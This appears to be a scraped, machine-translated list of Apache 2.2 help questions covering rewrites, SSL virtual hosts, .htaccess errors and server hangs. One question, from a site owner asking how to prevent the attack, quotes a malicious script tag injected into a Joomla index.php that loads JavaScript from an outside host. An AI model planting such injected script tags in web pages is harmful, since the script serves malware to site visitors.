Articles of apache 2.2

从文件名(index.php / to index.php)中删除尾部的斜线

我敢肯定,我错过了一个技巧,但我不能解决如何使用Apache RewriteRule从URL中的文件名删除尾部的斜线。 我的url是这样的: www.mysite.com/dynamic_folder_name/index.php/ 我需要的URL成为 www.mysite.com/dynamic_folder_name/index.php 任何帮助,将不胜感激。 干杯

我的网站不显示某些图像

系统升级后,某些图片不会显示在我的Drupal安装中。 我注意到,例如,一些JPEG是可见的而其他不是(两者都是JPEG,所有的小写扩展名)。 我在本地使用Ubuntu,我将系统从9.10升级到了10.04 LTS,所以升级的Apache和PHP也是如此。 任何想法?

kollinsoy.skyefenton.com攻击?

最近我的网站遭到了恶意软件的攻击。 它将我的索引页面转换为空白。 攻击在我的index.php中添加2行: <script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Data_Type.js"></script> <!–6aa6b5f1b4e70b5a72df7793c2b6e64b–> 我正在使用这个被认为安全的服务器的joomla 1.5.11。 它是如何发生的,以及如何防止它的未来。

Apache2,VirtualHosts,SSL,Mutli域名证书

我有一个与一个IP和三个项目链接到同一文件夹的Debian服务器。 在VirtualHosts中我有一些不同的联合。 我现在想要将某些部分redirect到HTTPS。 对于一个项目,这工作正常(见下文),但我有其他项目的问题。 我有三个项目的多域名证书。 模块ssl和重写正在工作。 NameVirtualHost * Listen 80 Listen 443 <Directory /home/projekt/> Allow from all AllowOverride All Order allow,deny Options FollowSymLinks </Directory> <VirtualHost *:80> ServerAdmin support@projekt DocumentRoot "/home/projekt/cfdocs" ServerName local-projekt.com [..] </VirtualHost> <VirtualHost *:80> ServerAdmin support@projekt DocumentRoot "/home/projekt/cfdocs" ServerName projekt-de.com [..] </VirtualHost> <VirtualHost staticIP:443> ServerAdmin support@projekt DocumentRoot "/home/projekt/cfdocs" ServerName projekt-de.com SSLEngine On SSLCertificateFile […]

在Ubuntu 10.04上.htaccess问题

昨天我在我的Ubuntu 10.04上安装了LAMP。 起初一切似乎都很好,但是,当我启动我的PHP应用程序(我从Windows 7中复制它,我使用XAMPP),它不接受我的.htaccess文件。 所以我所有的URL都被打破了。 我为.htaccess工作。 1.在./sites-available/中创build单独的configuration文件时,我将“目录”部分的AllowOverride从“ None更改为“ All <Directory /some_path/> Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny allow from all </Directory> 2.我的.htaccess文件的第一行是RewriteEngine On 。 在XAMPP的Windows上一切正常。 当我启动http:// localhost它给了我500内部服务器错误。 当我将AllowOverride更改回None ,它将在我的根文件夹中打开index.html,而不是index.php。 UPD:error.log说关于错误500: [Sat Jun 26 09:40:53 2010] [alert] [client 127.0.0.1] /some_path/.htaccess: Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the […]

Ubuntu + Apache2 – 不允许外部连接?

我有一个运行Ubuntu 10.04的盒子,我安装了Apache2。 当我在框中,我可以去http:// localhost / ,它连接到Web服务器罚款。 我也可以直接去我的IP和连接没有问题。 但是,如果尝试通过DNS或直接IP从networking上的另一台计算机进行连接,则连接超时。 但是,我可以通过SSH连接到盒子,以及ping盒子。 有任何想法吗? 谢谢 更新: 在本地计算机上运行nmap时,出现以下情况: wayne@media-box:~$ sudo nmap -sS -O -PI -PT 192.168.1.70 Starting Nmap 5.00 ( http://nmap.org ) at 2010-06-28 06:32 CDT Interesting ports on media-box (192.168.1.70): Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 143/tcp open […]

“无法绑定到地址0.0.0.0:80” – Apache错误

我刚刚在我的机器上安装了Apache Server 2.2.15。 但是,我无法从开始 – >所有程序 – > Apache HTTP 2.2 – >控制Apache服务器启动服务器。 我可以在托盘中看到“运行所有Apache服务”。 我已经尝试了以下build议: 1>停止IIS并重新启动Apache 2> Servername更改为localhost:80。 (查询:httpd.conf中的行是 #ServerName localhost:80 是不是#注释行? 我应该取消注释吗? 我还应该尝试其他什么build议?

我怎样才能合并一个SSL vhostconfiguration和一个非ssl虚拟主机configuration为同一个网站?

我希望我的网站支持非SSL和SSL访问。 我所要做的是复制非SSLconfiguration,并将端口更改为443,并添加SSL的东西。 不理想的pipe理! 有没有办法来合并这两个configuration? 这是我目前的configuration: <VirtualHost *:80> ServerName www.site.tld ServerAlias site.tld suPHP_UserGroup site site DocumentRoot /path/to/site/www <Directory /path/to/site/www> AllowOverride All Order allow,deny allow from all Options -MultiViews </Directory> ExpiresActive On ExpiresByType image/gif "access plus 7 days" ExpiresByType image/jpeg "access plus 7 days" ExpiresByType image/png "access plus 7 days" ExpiresByType image/x-icon "access plus 7 days" ExpiresByType […]

如何确定在几天的正常运行时间之后导致Apache挂起的原因?

我无法find为什么Apache正常运行几天后挂起。 这里是顶部的内存sorting输出 top – 14:51:45 up 1 day, 18:02, 3 users, load average: 6.73, 5.15, 6.27 Tasks: 233 total, 1 running, 226 sleeping, 0 stopped, 6 zombie` Cpu(s): 34.0%us, 13.8%sy, 0.0%ni, 3.2%id, 48.3%wa, 0.0%hi, 0.8%si, 0.0%st Mem: 4043688k total, 3943568k used, 100120k free, 46784k buffers Swap: 1051376k total, 659504k used, 391872k free, 372016k cached PID […]

仅针对特定IP的Apache目录列表?

我怎样才能启用Indexes只为特定的IP地址? 一般来说,我想要禁用目录列表,但只对特定的IP启用